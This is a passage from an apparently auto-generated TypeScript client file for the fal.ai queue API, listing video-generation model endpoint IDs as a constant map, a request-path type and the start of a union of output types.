'fal-ai/ltx-2.3-quality/day-to-night': 'fal-ai/ltx-2.3-quality/day-to-night', + 'fal-ai/ltx-2.3-quality/deblur': 'fal-ai/ltx-2.3-quality/deblur', + 'fal-ai/ltx-2.3-quality/decompression': + 'fal-ai/ltx-2.3-quality/decompression', + 'fal-ai/ltx-2.3-quality/extend-video': 'fal-ai/ltx-2.3-quality/extend-video', + 'fal-ai/ltx-2.3-quality/extend-video/lora': + 'fal-ai/ltx-2.3-quality/extend-video/lora', + 'fal-ai/ltx-2.3-quality/hdr': 'fal-ai/ltx-2.3-quality/hdr', + 'fal-ai/ltx-2.3-quality/hdr/lora': 'fal-ai/ltx-2.3-quality/hdr/lora', + 'fal-ai/ltx-2.3-quality/image-to-video': + 'fal-ai/ltx-2.3-quality/image-to-video', + 'fal-ai/ltx-2.3-quality/image-to-video/lora': + 'fal-ai/ltx-2.3-quality/image-to-video/lora', + 'fal-ai/ltx-2.3-quality/ingredient': 'fal-ai/ltx-2.3-quality/ingredient', + 'fal-ai/ltx-2.3-quality/inpaint': 'fal-ai/ltx-2.3-quality/inpaint', + 'fal-ai/ltx-2.3-quality/inpaint/lora': 'fal-ai/ltx-2.3-quality/inpaint/lora', + 'fal-ai/ltx-2.3-quality/instant-shave': + 'fal-ai/ltx-2.3-quality/instant-shave', + 'fal-ai/ltx-2.3-quality/outpaint': 'fal-ai/ltx-2.3-quality/outpaint', + 'fal-ai/ltx-2.3-quality/outpaint/lora': + 'fal-ai/ltx-2.3-quality/outpaint/lora', + 'fal-ai/ltx-2.3-quality/reference-video-to-video': + 'fal-ai/ltx-2.3-quality/reference-video-to-video', + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-quality/render-to-real': + 'fal-ai/ltx-2.3-quality/render-to-real', + 'fal-ai/ltx-2.3-quality/text-to-video': + 'fal-ai/ltx-2.3-quality/text-to-video', + 'fal-ai/ltx-2.3-quality/text-to-video/lora': + 'fal-ai/ltx-2.3-quality/text-to-video/lora', + 'fal-ai/ltx-2.3-quality/water-simulation': + 'fal-ai/ltx-2.3-quality/water-simulation', + 'fal-ai/ltx-2.3/audio-to-video': 'fal-ai/ltx-2.3/audio-to-video', + 'fal-ai/ltx-2.3/extend-video': 'fal-ai/ltx-2.3/extend-video', + 'fal-ai/ltx-2.3/image-to-video': 'fal-ai/ltx-2.3/image-to-video', + 'fal-ai/ltx-2.3/image-to-video/fast': 'fal-ai/ltx-2.3/image-to-video/fast', + 'fal-ai/ltx-2.3/reframe': 'fal-ai/ltx-2.3/reframe', + 'fal-ai/ltx-2.3/retake-video': 'fal-ai/ltx-2.3/retake-video', + 'fal-ai/ltx-2.3/text-to-video': 'fal-ai/ltx-2.3/text-to-video', + 'fal-ai/ltx-2.3/text-to-video/fast': 'fal-ai/ltx-2.3/text-to-video/fast', + 'fal-ai/ltx-video': 'fal-ai/ltx-video', + 'fal-ai/ltx-video-13b-distilled': 'fal-ai/ltx-video-13b-distilled', + 'fal-ai/ltx-video-13b-distilled/extend': + 'fal-ai/ltx-video-13b-distilled/extend', + 'fal-ai/ltx-video-13b-distilled/image-to-video': + 'fal-ai/ltx-video-13b-distilled/image-to-video', + 'fal-ai/ltx-video-13b-distilled/multiconditioning': + 'fal-ai/ltx-video-13b-distilled/multiconditioning', + 'fal-ai/ltx-video/image-to-video': 'fal-ai/ltx-video/image-to-video', + 'fal-ai/ltxv-13b-098-distilled': 'fal-ai/ltxv-13b-098-distilled', + 'fal-ai/ltxv-13b-098-distilled/extend': + 'fal-ai/ltxv-13b-098-distilled/extend', + 'fal-ai/ltxv-13b-098-distilled/image-to-video': + 'fal-ai/ltxv-13b-098-distilled/image-to-video', + 'fal-ai/ltxv-13b-098-distilled/multiconditioning': + 'fal-ai/ltxv-13b-098-distilled/multiconditioning', + 'fal-ai/magi-distilled': 'fal-ai/magi-distilled', + 'fal-ai/magi-distilled/extend-video': 'fal-ai/magi-distilled/extend-video', + 'fal-ai/magi-distilled/image-to-video': + 'fal-ai/magi-distilled/image-to-video', + 'fal-ai/minimax/hailuo-02-fast/image-to-video': + 'fal-ai/minimax/hailuo-02-fast/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/image-to-video': + 'fal-ai/minimax/hailuo-02/pro/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/text-to-video': + 'fal-ai/minimax/hailuo-02/pro/text-to-video', + 'fal-ai/minimax/hailuo-02/standard/image-to-video': + 'fal-ai/minimax/hailuo-02/standard/image-to-video', + 'fal-ai/minimax/hailuo-02/standard/text-to-video': + 'fal-ai/minimax/hailuo-02/standard/text-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video', + 'fal-ai/minimax/video-01': 'fal-ai/minimax/video-01', + 'fal-ai/minimax/video-01-director': 'fal-ai/minimax/video-01-director', + 'fal-ai/minimax/video-01-director/image-to-video': + 'fal-ai/minimax/video-01-director/image-to-video', + 'fal-ai/minimax/video-01-live': 'fal-ai/minimax/video-01-live', + 'fal-ai/minimax/video-01-live/image-to-video': + 'fal-ai/minimax/video-01-live/image-to-video', + 'fal-ai/minimax/video-01-subject-reference': + 'fal-ai/minimax/video-01-subject-reference', + 'fal-ai/minimax/video-01/image-to-video': + 'fal-ai/minimax/video-01/image-to-video', + 'fal-ai/mmaudio-v2': 'fal-ai/mmaudio-v2', + 'fal-ai/motion-to-code/glsl': 'fal-ai/motion-to-code/glsl', + 'fal-ai/motion-to-code/gsap': 'fal-ai/motion-to-code/gsap', + 'fal-ai/one-to-all-animation/1.3b': 'fal-ai/one-to-all-animation/1.3b', + 'fal-ai/one-to-all-animation/14b': 'fal-ai/one-to-all-animation/14b', + 'fal-ai/ovi': 'fal-ai/ovi', + 'fal-ai/ovi/image-to-video': 'fal-ai/ovi/image-to-video', + 'fal-ai/pixverse/c1/image-to-video': 'fal-ai/pixverse/c1/image-to-video', + 'fal-ai/pixverse/c1/reference-to-video': + 'fal-ai/pixverse/c1/reference-to-video', + 'fal-ai/pixverse/c1/text-to-video': 'fal-ai/pixverse/c1/text-to-video', + 'fal-ai/pixverse/c1/transition': 'fal-ai/pixverse/c1/transition', + 'fal-ai/pixverse/extend': 'fal-ai/pixverse/extend', + 'fal-ai/pixverse/extend/fast': 'fal-ai/pixverse/extend/fast', + 'fal-ai/pixverse/lipsync': 'fal-ai/pixverse/lipsync', + 'fal-ai/pixverse/sound-effects': 'fal-ai/pixverse/sound-effects', + 'fal-ai/pixverse/swap': 'fal-ai/pixverse/swap', + 'fal-ai/pixverse/v3.5/effects': 'fal-ai/pixverse/v3.5/effects', + 'fal-ai/pixverse/v3.5/image-to-video': 'fal-ai/pixverse/v3.5/image-to-video', + 'fal-ai/pixverse/v3.5/image-to-video/fast': + 'fal-ai/pixverse/v3.5/image-to-video/fast', + 'fal-ai/pixverse/v3.5/text-to-video': 'fal-ai/pixverse/v3.5/text-to-video', + 'fal-ai/pixverse/v3.5/text-to-video/fast': + 'fal-ai/pixverse/v3.5/text-to-video/fast', + 'fal-ai/pixverse/v3.5/transition': 'fal-ai/pixverse/v3.5/transition', + 'fal-ai/pixverse/v4.5/effects': 'fal-ai/pixverse/v4.5/effects', + 'fal-ai/pixverse/v4.5/image-to-video': 'fal-ai/pixverse/v4.5/image-to-video', + 'fal-ai/pixverse/v4.5/image-to-video/fast': + 'fal-ai/pixverse/v4.5/image-to-video/fast', + 'fal-ai/pixverse/v4.5/text-to-video': 'fal-ai/pixverse/v4.5/text-to-video', + 'fal-ai/pixverse/v4.5/text-to-video/fast': + 'fal-ai/pixverse/v4.5/text-to-video/fast', + 'fal-ai/pixverse/v4.5/transition': 'fal-ai/pixverse/v4.5/transition', + 'fal-ai/pixverse/v4/effects': 'fal-ai/pixverse/v4/effects', + 'fal-ai/pixverse/v4/image-to-video': 'fal-ai/pixverse/v4/image-to-video', + 'fal-ai/pixverse/v4/image-to-video/fast': + 'fal-ai/pixverse/v4/image-to-video/fast', + 'fal-ai/pixverse/v4/text-to-video': 'fal-ai/pixverse/v4/text-to-video', + 'fal-ai/pixverse/v4/text-to-video/fast': + 'fal-ai/pixverse/v4/text-to-video/fast', + 'fal-ai/pixverse/v5.5/effects': 'fal-ai/pixverse/v5.5/effects', + 'fal-ai/pixverse/v5.5/image-to-video': 'fal-ai/pixverse/v5.5/image-to-video', + 'fal-ai/pixverse/v5.5/text-to-video': 'fal-ai/pixverse/v5.5/text-to-video', + 'fal-ai/pixverse/v5.5/transition': 'fal-ai/pixverse/v5.5/transition', + 'fal-ai/pixverse/v5.6/image-to-video': 'fal-ai/pixverse/v5.6/image-to-video', + 'fal-ai/pixverse/v5.6/text-to-video': 'fal-ai/pixverse/v5.6/text-to-video', + 'fal-ai/pixverse/v5.6/transition': 'fal-ai/pixverse/v5.6/transition', + 'fal-ai/pixverse/v5/effects': 'fal-ai/pixverse/v5/effects', + 'fal-ai/pixverse/v5/image-to-video': 'fal-ai/pixverse/v5/image-to-video', + 'fal-ai/pixverse/v5/text-to-video': 'fal-ai/pixverse/v5/text-to-video', + 'fal-ai/pixverse/v5/transition': 'fal-ai/pixverse/v5/transition', + 'fal-ai/pixverse/v6/extend': 'fal-ai/pixverse/v6/extend', + 'fal-ai/pixverse/v6/image-to-video': 'fal-ai/pixverse/v6/image-to-video', + 'fal-ai/pixverse/v6/text-to-video': 'fal-ai/pixverse/v6/text-to-video', + 'fal-ai/pixverse/v6/transition': 'fal-ai/pixverse/v6/transition', + 'fal-ai/rife/video': 'fal-ai/rife/video', + 'fal-ai/sadtalker': 'fal-ai/sadtalker', + 'fal-ai/sadtalker/reference': 'fal-ai/sadtalker/reference', + 'fal-ai/sam-3-1/video': 'fal-ai/sam-3-1/video', + 'fal-ai/sam-3-1/video-rle': 'fal-ai/sam-3-1/video-rle', + 'fal-ai/sam-3/video': 'fal-ai/sam-3/video', + 'fal-ai/sam-3/video-rle': 'fal-ai/sam-3/video-rle', + 'fal-ai/sam2/video': 'fal-ai/sam2/video', + 'fal-ai/scail-2': 'fal-ai/scail-2', + 'fal-ai/seedvr/upscale/video': 'fal-ai/seedvr/upscale/video', + 'fal-ai/sync-lipsync': 'fal-ai/sync-lipsync', + 'fal-ai/sync-lipsync/react-1': 'fal-ai/sync-lipsync/react-1', + 'fal-ai/sync-lipsync/v2': 'fal-ai/sync-lipsync/v2', + 'fal-ai/sync-lipsync/v2/pro': 'fal-ai/sync-lipsync/v2/pro', + 'fal-ai/sync-lipsync/v3': 'fal-ai/sync-lipsync/v3', + 'fal-ai/sync-lipsync/v3/image-to-video': + 'fal-ai/sync-lipsync/v3/image-to-video', + 'fal-ai/thinksound': 'fal-ai/thinksound', + 'fal-ai/thinksound/audio': 'fal-ai/thinksound/audio', + 'fal-ai/video-upscaler': 'fal-ai/video-upscaler', + 'fal-ai/vidu/image-to-video': 'fal-ai/vidu/image-to-video', + 'fal-ai/vidu/q1/image-to-video': 'fal-ai/vidu/q1/image-to-video', + 'fal-ai/vidu/q1/reference-to-video': 'fal-ai/vidu/q1/reference-to-video', + 'fal-ai/vidu/q1/start-end-to-video': 'fal-ai/vidu/q1/start-end-to-video', + 'fal-ai/vidu/q1/text-to-video': 'fal-ai/vidu/q1/text-to-video', + 'fal-ai/vidu/q2/image-to-video/pro': 'fal-ai/vidu/q2/image-to-video/pro', + 'fal-ai/vidu/q2/image-to-video/turbo': 'fal-ai/vidu/q2/image-to-video/turbo', + 'fal-ai/vidu/q2/reference-to-video/pro': + 'fal-ai/vidu/q2/reference-to-video/pro', + 'fal-ai/vidu/q2/text-to-video': 'fal-ai/vidu/q2/text-to-video', + 'fal-ai/vidu/q2/video-extension/pro': 'fal-ai/vidu/q2/video-extension/pro', + 'fal-ai/vidu/q3/image-to-video': 'fal-ai/vidu/q3/image-to-video', + 'fal-ai/vidu/q3/image-to-video/turbo': 'fal-ai/vidu/q3/image-to-video/turbo', + 'fal-ai/vidu/q3/reference-to-video/mix': + 'fal-ai/vidu/q3/reference-to-video/mix', + 'fal-ai/vidu/q3/text-to-video': 'fal-ai/vidu/q3/text-to-video', + 'fal-ai/vidu/q3/text-to-video/turbo': 'fal-ai/vidu/q3/text-to-video/turbo', + 'fal-ai/vidu/q4/image-to-video': 'fal-ai/vidu/q4/image-to-video', + 'fal-ai/vidu/q4/reference-to-video': 'fal-ai/vidu/q4/reference-to-video', + 'fal-ai/vidu/reference-to-video': 'fal-ai/vidu/reference-to-video', + 'fal-ai/vidu/start-end-to-video': 'fal-ai/vidu/start-end-to-video', + 'fal-ai/vidu/template-to-video': 'fal-ai/vidu/template-to-video', + 'fal-ai/void-video-inpainting': 'fal-ai/void-video-inpainting', + 'fal-ai/wan-22-vace-fun-a14b/depth': 'fal-ai/wan-22-vace-fun-a14b/depth', + 'fal-ai/wan-22-vace-fun-a14b/inpainting': + 'fal-ai/wan-22-vace-fun-a14b/inpainting', + 'fal-ai/wan-22-vace-fun-a14b/outpainting': + 'fal-ai/wan-22-vace-fun-a14b/outpainting', + 'fal-ai/wan-22-vace-fun-a14b/reframe': 'fal-ai/wan-22-vace-fun-a14b/reframe', + 'fal-ai/wan-25-preview/image-to-video': + 'fal-ai/wan-25-preview/image-to-video', + 'fal-ai/wan-25-preview/text-to-video': 'fal-ai/wan-25-preview/text-to-video', + 'fal-ai/wan-i2v': 'fal-ai/wan-i2v', + 'fal-ai/wan-i2v-lora': 'fal-ai/wan-i2v-lora', + 'fal-ai/wan-pro/image-to-video': 'fal-ai/wan-pro/image-to-video', + 'fal-ai/wan-pro/text-to-video': 'fal-ai/wan-pro/text-to-video', + 'fal-ai/wan-t2v-lora': 'fal-ai/wan-t2v-lora', + 'fal-ai/wan-vace-14b': 'fal-ai/wan-vace-14b', + 'fal-ai/wan-vace-14b/depth': 'fal-ai/wan-vace-14b/depth', + 'fal-ai/wan-vace-14b/inpainting': 'fal-ai/wan-vace-14b/inpainting', + 'fal-ai/wan-vace-14b/outpainting': 'fal-ai/wan-vace-14b/outpainting', + 'fal-ai/wan-vace-14b/pose': 'fal-ai/wan-vace-14b/pose', + 'fal-ai/wan-vace-14b/reframe': 'fal-ai/wan-vace-14b/reframe', + 'fal-ai/wan-vace-apps/long-reframe': 'fal-ai/wan-vace-apps/long-reframe', + 'fal-ai/wan-vace-apps/video-edit': 'fal-ai/wan-vace-apps/video-edit', + 'fal-ai/wan/v2.2-14b/animate/move': 'fal-ai/wan/v2.2-14b/animate/move', + 'fal-ai/wan/v2.2-14b/animate/replace': 'fal-ai/wan/v2.2-14b/animate/replace', + 'fal-ai/wan/v2.2-14b/speech-to-video': 'fal-ai/wan/v2.2-14b/speech-to-video', + 'fal-ai/wan/v2.2-5b/image-to-video': 'fal-ai/wan/v2.2-5b/image-to-video', + 'fal-ai/wan/v2.2-5b/text-to-video': 'fal-ai/wan/v2.2-5b/text-to-video', + 'fal-ai/wan/v2.2-5b/text-to-video/distill': + 'fal-ai/wan/v2.2-5b/text-to-video/distill', + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan': + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan', + 'fal-ai/wan/v2.2-a14b/image-to-video': 'fal-ai/wan/v2.2-a14b/image-to-video', + 'fal-ai/wan/v2.2-a14b/image-to-video/lora': + 'fal-ai/wan/v2.2-a14b/image-to-video/lora', + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/text-to-video': 'fal-ai/wan/v2.2-a14b/text-to-video', + 'fal-ai/wan/v2.2-a14b/text-to-video/lora': + 'fal-ai/wan/v2.2-a14b/text-to-video/lora', + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/video-to-video': 'fal-ai/wan/v2.2-a14b/video-to-video', + 'fal-ai/wan/v2.7/edit-video': 'fal-ai/wan/v2.7/edit-video', + 'fal-ai/wan/v2.7/image-to-video': 'fal-ai/wan/v2.7/image-to-video', + 'fal-ai/wan/v2.7/reference-to-video': 'fal-ai/wan/v2.7/reference-to-video', + 'fal-ai/wan/v2.7/text-to-video': 'fal-ai/wan/v2.7/text-to-video', + 'fal-ai/workflow-utilities/auto-subtitle': + 'fal-ai/workflow-utilities/auto-subtitle', + 'fal-ai/workflow-utilities/blend-video': + 'fal-ai/workflow-utilities/blend-video', + 'fal-ai/workflow-utilities/reverse-video': + 'fal-ai/workflow-utilities/reverse-video', + 'fal-ai/workflow-utilities/scale-video': + 'fal-ai/workflow-utilities/scale-video', + 'fal-ai/workflow-utilities/trim-video': + 'fal-ai/workflow-utilities/trim-video', + 'google/gemini-omni-flash': 'google/gemini-omni-flash', + 'google/gemini-omni-flash/edit': 'google/gemini-omni-flash/edit', + 'google/gemini-omni-flash/image-to-video': + 'google/gemini-omni-flash/image-to-video', + 'google/gemini-omni-flash/reference-to-video': + 'google/gemini-omni-flash/reference-to-video', + 'google/gemini-omni-flash/v1.1/edit': 'google/gemini-omni-flash/v1.1/edit', + 'google/gemini-omni-flash/v1.1/image-to-video': + 'google/gemini-omni-flash/v1.1/image-to-video', + 'google/gemini-omni-flash/v1.1/reference-to-video': + 'google/gemini-omni-flash/v1.1/reference-to-video', + 'google/gemini-omni-flash/v1.1/text-to-video': + 'google/gemini-omni-flash/v1.1/text-to-video', + 'google/gemini-omni-flash/v1.2/edit': 'google/gemini-omni-flash/v1.2/edit', + 'google/gemini-omni-flash/v1.2/extend': + 'google/gemini-omni-flash/v1.2/extend', + 'google/gemini-omni-flash/v1.2/image-to-video': + 'google/gemini-omni-flash/v1.2/image-to-video', + 'google/gemini-omni-flash/v1.2/reference-to-video': + 'google/gemini-omni-flash/v1.2/reference-to-video', + 'google/gemini-omni-flash/v1.2/text-to-video': + 'google/gemini-omni-flash/v1.2/text-to-video', + 'google/gemini-omni-flash/v1.2/upscale': + 'google/gemini-omni-flash/v1.2/upscale', + 'heygen/heygen-video/image-to-video': 'heygen/heygen-video/image-to-video', + 'heygen/heygen-video/reference-to-video': + 'heygen/heygen-video/reference-to-video', + 'heygen/heygen-video/text-to-video': 'heygen/heygen-video/text-to-video', + 'kling/v4/flash/image-to-video': 'kling/v4/flash/image-to-video', + 'kling/v4/flash/reference-to-video': 'kling/v4/flash/reference-to-video', + 'kling/v4/flash/text-to-video': 'kling/v4/flash/text-to-video', + 'kling/v4/flash/video-to-video': 'kling/v4/flash/video-to-video', + 'kling/v4/image-to-video': 'kling/v4/image-to-video', + 'kling/v4/reference-to-video': 'kling/v4/reference-to-video', + 'kling/v4/text-to-video': 'kling/v4/text-to-video', + 'kling/v4/video-to-video/edit': 'kling/v4/video-to-video/edit', + 'lightricks/ltx-2.5/audio-to-video/fast': + 'lightricks/ltx-2.5/audio-to-video/fast', + 'lightricks/ltx-2.5/audio-to-video/pro': + 'lightricks/ltx-2.5/audio-to-video/pro', + 'lightricks/ltx-2.5/image-to-video/fast': + 'lightricks/ltx-2.5/image-to-video/fast', + 'lightricks/ltx-2.5/image-to-video/pro': + 'lightricks/ltx-2.5/image-to-video/pro', + 'lightricks/ltx-2.5/text-to-video/fast': + 'lightricks/ltx-2.5/text-to-video/fast', + 'lightricks/ltx-2.5/text-to-video/pro': + 'lightricks/ltx-2.5/text-to-video/pro', + 'luma/agent/ray/v3.2/image-to-video': 'luma/agent/ray/v3.2/image-to-video', + 'luma/agent/ray/v3.2/reframe': 'luma/agent/ray/v3.2/reframe', + 'luma/agent/ray/v3.2/text-to-video': 'luma/agent/ray/v3.2/text-to-video', + 'luma/agent/ray/v3.2/video-to-video': 'luma/agent/ray/v3.2/video-to-video', + 'minimax/h3-max-turbo/extend-video': 'minimax/h3-max-turbo/extend-video', + 'minimax/h3-max-turbo/image-to-video': 'minimax/h3-max-turbo/image-to-video', + 'minimax/h3-max-turbo/reference-to-video': + 'minimax/h3-max-turbo/reference-to-video', + 'minimax/h3-max-turbo/text-to-video': 'minimax/h3-max-turbo/text-to-video', + 'minimax/h3-max/3d-to-video': 'minimax/h3-max/3d-to-video', + 'minimax/h3-max/camera-controls': 'minimax/h3-max/camera-controls', + 'minimax/h3-max/extend-video': 'minimax/h3-max/extend-video', + 'minimax/h3-max/image-to-video': 'minimax/h3-max/image-to-video', + 'minimax/h3-max/insert-video': 'minimax/h3-max/insert-video', + 'minimax/h3-max/lip-sync/image-to-video': + 'minimax/h3-max/lip-sync/image-to-video', + 'minimax/h3-max/recast': 'minimax/h3-max/recast', + 'minimax/h3-max/reference-to-video': 'minimax/h3-max/reference-to-video', + 'minimax/h3-max/reframe-video': 'minimax/h3-max/reframe-video', + 'minimax/h3-max/relight': 'minimax/h3-max/relight', + 'minimax/h3-max/styles/16bit-pixel': 'minimax/h3-max/styles/16bit-pixel', + 'minimax/h3-max/styles/hand-drawn': 'minimax/h3-max/styles/hand-drawn', + 'minimax/h3-max/styles/low-poly': 'minimax/h3-max/styles/low-poly', + 'minimax/h3-max/styles/retro-toon-70s': + 'minimax/h3-max/styles/retro-toon-70s', + 'minimax/h3-max/styles/vhs': 'minimax/h3-max/styles/vhs', + 'minimax/h3-max/text-to-video': 'minimax/h3-max/text-to-video', + 'minimax/h3/image-to-video': 'minimax/h3/image-to-video', + 'minimax/h3/image-to-video/lora': 'minimax/h3/image-to-video/lora', + 'minimax/h3/reference-to-video': 'minimax/h3/reference-to-video', + 'minimax/h3/reference-to-video/lora': 'minimax/h3/reference-to-video/lora', + 'minimax/h3/text-to-video': 'minimax/h3/text-to-video', + 'minimax/h3/text-to-video/lora': 'minimax/h3/text-to-video/lora', + 'mirelo-ai/sfx2.0/video-to-video': 'mirelo-ai/sfx2.0/video-to-video', + 'moonvalley/marey/i2v': 'moonvalley/marey/i2v', + 'moonvalley/marey/motion-transfer': 'moonvalley/marey/motion-transfer', + 'moonvalley/marey/pose-transfer': 'moonvalley/marey/pose-transfer', + 'moonvalley/marey/t2v': 'moonvalley/marey/t2v', + 'mureka/api/generate/lyrics-video': 'mureka/api/generate/lyrics-video', + 'nvidia/cosmos-3-super/image-to-video': + 'nvidia/cosmos-3-super/image-to-video', + 'pixelcut/looping-video': 'pixelcut/looping-video', + 'pixelcut/video-background-removal': 'pixelcut/video-background-removal', + 'pixverse/music-video/vibemv': 'pixverse/music-video/vibemv', + 'sonilo/v1.1/video-to-video-music': 'sonilo/v1.1/video-to-video-music', + 'sonilo/v1.1/video-to-video-sound-effects': + 'sonilo/v1.1/video-to-video-sound-effects', + 'tbc/mischief-1/image-to-video': 'tbc/mischief-1/image-to-video', + 'topaz/deblur/video': 'topaz/deblur/video', + 'topaz/denoise/video': 'topaz/denoise/video', + 'topaz/interpolate/video': 'topaz/interpolate/video', + 'topaz/sdr-to-hdr/video': 'topaz/sdr-to-hdr/video', + 'topaz/upscale/video/creative': 'topaz/upscale/video/creative', + 'topaz/upscale/video/generative': 'topaz/upscale/video/generative', + 'topaz/upscale/video/precision': 'topaz/upscale/video/precision', + 'vast/eden-live-14b-video': 'vast/eden-live-14b-video', + 'vast/eden-live-5b-video': 'vast/eden-live-5b-video', + 'veed/avatars/audio-to-video': 'veed/avatars/audio-to-video', + 'veed/avatars/text-to-video': 'veed/avatars/text-to-video', + 'veed/dubbing': 'veed/dubbing', + 'veed/dubbing/pro': 'veed/dubbing/pro', + 'veed/fabric-1.0': 'veed/fabric-1.0', + 'veed/fabric-1.0/fast': 'veed/fabric-1.0/fast', + 'veed/fabric-1.0/text': 'veed/fabric-1.0/text', + 'veed/lipsync': 'veed/lipsync', + 'veed/lipsync/v2': 'veed/lipsync/v2', + 'veed/subtitles': 'veed/subtitles', + 'veed/video-background-removal': 'veed/video-background-removal', + 'veed/video-background-removal/fast': 'veed/video-background-removal/fast', + 'veed/video-background-removal/green-screen': + 'veed/video-background-removal/green-screen', + 'wan/v2.6/image-to-video': 'wan/v2.6/image-to-video', + 'wan/v2.6/image-to-video/flash': 'wan/v2.6/image-to-video/flash', + 'wan/v2.6/reference-to-video': 'wan/v2.6/reference-to-video', + 'wan/v2.6/reference-to-video/flash': 'wan/v2.6/reference-to-video/flash', + 'wan/v2.6/text-to-video': 'wan/v2.6/text-to-video', + 'xai/grok-imagine-video/edit-video': 'xai/grok-imagine-video/edit-video', + 'xai/grok-imagine-video/extend-video': 'xai/grok-imagine-video/extend-video', + 'xai/grok-imagine-video/image-to-video': + 'xai/grok-imagine-video/image-to-video', + 'xai/grok-imagine-video/reference-to-video': + 'xai/grok-imagine-video/reference-to-video', + 'xai/grok-imagine-video/text-to-video': + 'xai/grok-imagine-video/text-to-video', + 'xai/grok-imagine-video/v1.5/image-to-video': + 'xai/grok-imagine-video/v1.5/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/image-to-video': + 'xai/grok-imagine-video/v1.5/lite/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/text-to-video': + 'xai/grok-imagine-video/v1.5/lite/text-to-video', + 'xai/grok-imagine-video/v1.5/reference-to-video': + 'xai/grok-imagine-video/v1.5/reference-to-video', + 'xai/grok-imagine-video/v1.5/text-to-video': + 'xai/grok-imagine-video/v1.5/text-to-video', +} as const + +export type FalGetEndpointIdRequestsRequestIdEndpointIdKey = + (typeof falGetEndpointIdRequestsRequestIdEndpointId)[keyof typeof falGetEndpointIdRequestsRequestIdEndpointId] + +export type FalGetEndpointIdRequestsRequestIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalGetEndpointIdRequestsRequestIdEndpointIdKey + request_id: string +} + +export type FalGetEndpointIdRequestsRequestIdStatus200 = + | OutputAlibabaHappyHorseImageToVideo + | OutputAlibabaHappyHorseReferenceToVideo + | OutputAlibabaHappyHorseTextToVideo + | OutputAlibabaHappyHorseV11ImageToVideo + | OutputAlibabaHappyHorseV11ReferenceToVideo + | OutputAlibabaHappyHorseV11TextToVideo + | OutputAlibabaHappyHorseVideoEdit + | OutputAlibabaWan30PrimeImageToVideo + | OutputAlibabaWan30PrimeReferenceToVideo + | OutputAlibabaWan30PrimeTextToVideo + | OutputAlibabaWan30ImageToVideo + | OutputAlibabaWan30ReferenceToVideo + | OutputAlibabaWan30TextToVideo + | OutputArgilAvatarsAudioToVideo + | OutputArgilAvatarsTextToVideo + | OutputBlackforestlabsFlux3MaxImageToVideo + | OutputBlackforestlabsFlux3MaxKeyframesToVideo + | OutputBlackforestlabsFlux3MaxTextToVideo + | OutputBlackforestlabsFlux3DraftEnhance + | OutputBlackforestlabsFlux3EditVideo + | OutputBlackforestlabsFlux3ExtendVideo + | OutputBlackforestlabsFlux3ExtendVideoDraft + | OutputBlackforestlabsFlux3FirstLastFrameToVideo + | OutputBlackforestlabsFlux3FirstLastFrameToVideoDraft + | OutputBlackforestlabsFlux3ImageToVideo + | OutputBlackforestlabsFlux3ImageToVideoDraft + | OutputBlackforestlabsFlux3KeyframesToVideo + | OutputBlackforestlabsFlux3KeyframesToVideoDraft + | OutputBlackforestlabsFlux3TextToVideo + | OutputBlackforestlabsFlux3TextToVideoDraft + | OutputBlackforestlabsFluxVideoUpscale + | OutputBriaBriaVideoEraserEraseKeypoints + | OutputBriaBriaVideoEraserEraseMask + | OutputBriaBriaVideoEraserErasePrompt + | OutputBriaVideoBackgroundRemoval + | OutputBriaVideoBackgroundRemovalGreenScreenDespill + | OutputBriaVideoBackgroundRemovalRealtime + | OutputBriaVideoBackgroundRemovalV3 + | OutputBriaVideoEraseKeypoints + | OutputBriaVideoEraseMask + | OutputBriaVideoErasePrompt + | OutputBriaVideoIncreaseResolution + | OutputBytedanceOmnihumanV2 + | OutputBytedanceSeedance20FastImageToVideo + | OutputBytedanceSeedance20FastReferenceToVideo + | OutputBytedanceSeedance20FastTextToVideo + | OutputBytedanceSeedance20MiniImageToVideo + | OutputBytedanceSeedance20MiniReferenceToVideo + | OutputBytedanceSeedance20MiniTextToVideo + | OutputBytedanceSeedance20UsImageToVideo + | OutputBytedanceSeedance20UsReferenceToVideo + | OutputBytedanceSeedance20UsTextToVideo + | OutputBytedanceSeedance25UsDraftComplete + | OutputBytedanceSeedance25UsImageToVideo + | OutputBytedanceSeedance25UsReferenceToVideo + | OutputBytedanceSeedance25UsTextToVideo + | OutputCassetteaiVideoSoundEffectsGenerator + | OutputClarityaiCrystalVideoUpscaler + | OutputCreatifyBoreal + | OutputDecartLucy25Realtime + | OutputDecartLucyRestyle + | OutputDecartLucy2VtonRealtime + | OutputFalAiAiAvatarMulti + | OutputFalAiAiAvatarMultiText + | OutputFalAiAiAvatarSingleText + | OutputFalAiAutoCaption + | OutputFalAiBenV2Video + | OutputFalAiBirefnetV2Video + | OutputFalAiBytedanceUpscalerUpscaleVideo + | OutputFalAiBytedanceDreamactorV2 + | OutputFalAiBytedanceOmnihuman + | OutputFalAiBytedanceOmnihumanV15 + | 